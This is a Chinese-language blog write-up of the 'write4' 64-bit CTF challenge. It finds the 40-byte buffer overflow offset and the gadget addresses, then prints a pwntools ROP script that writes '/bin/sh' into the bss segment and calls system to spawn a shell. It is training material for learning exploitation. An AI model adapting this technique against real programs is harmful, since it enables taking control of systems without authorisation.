Write4

64位

我們照常來check一下保護(hù)

image.png

依舊是堆棧不可執(zhí)行保護(hù)

然后為了防止最后忘記這一步,我們先爆個字符串大小先

image.png

爆出來的數(shù)字是40

然后去ida里看看 有沒有system和’/bin/sh’

image.png

我們一看就能找到system啦!然后點進(jìn)去看地址咯

image.png

然后就繼續(xù)shift+fn+f12找字符串’/bin/sh’

image.png

我們只能找到一個和它很像的東西,但是很像也不是啊,所以我們要把’/bin/sh’寫進(jìn)bss段然后調(diào)用

image.png

我們找到的bss段的地址

然后我們找寄存器來存這些指令和數(shù)據(jù)(一個存bss段的地址一個存要寫入的參

數(shù)(這里是’/bin/sh’))

image.png

然后我們選那個r14、r15的地址

然后還要去找mov的地址來給寄存器賦值的

image.png

然后我們找到有r14和r15的,[r14]是代表r14的地址,r15則是對應(yīng)的值,假設(shè)r14地址為0x0401809,r15里的值是“abc”,則這個命令就是,讓r14里的地址指向r15里的內(nèi)容,即0x0401809->“abc”。

然后就可以構(gòu)造腳本啦

#!/usr/bin/env python
from pwn import *

sh = process('./write4')

system = 0x04005E0
bss = 0x0601060
r14_r15 = 0x0400890
move = 0x0400820
rdi = 0x0400893
#rbp = 0x04006b0
mov = 0x0400820

payload = "a"*40+p64(r14_r15)+p64(bss)+"/bin/sh\x00"+p64(mov)+p64(rdi)+p64(bss)+p64(system)
#rdi->bss  
#gdb.attach(sh,"b *0x0400804")

sh.sendline(payload)

sh.interactive()

然后就可以getshell啦!

image.png
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 1.觀察有沒有system沒有/bin/sh ,我們可以嘗試想bss或者date段寫入/bin/sh.,使用plt...
    Zero_0_0閱讀 478評論 0 0
  • write432: 同樣的溢出點,但是這次沒有/bin/sh,需要我們自己寫到data中或者bss 中,兩種寫法沒...
    n0va閱讀 942評論 6 0
  • emm第一篇自己寫的詳解題目跟這兒下載 參考文章 一步一步學(xué)ROP之linux_x64篇 五 寫的大概是傻瓜教程了...
    Gaking_閱讀 2,868評論 0 3
  • 在學(xué)習(xí)過程中總會有些零碎的知識點不好在別的篇章里完整展開,但很重要需要記住,為了更好的匯總這些零散的知識點,特此寫...
    厘米姑娘閱讀 4,898評論 15 24
  • 一、感恩 1、感恩客戶李麗姐的信任,無限感恩,滿滿的幸福! 2、感恩這么多天廠家的幫助與扶持! 3、感恩查老師和曹...
    Zi_玉閱讀 252評論 0 0

友情鏈接更多精彩內(nèi)容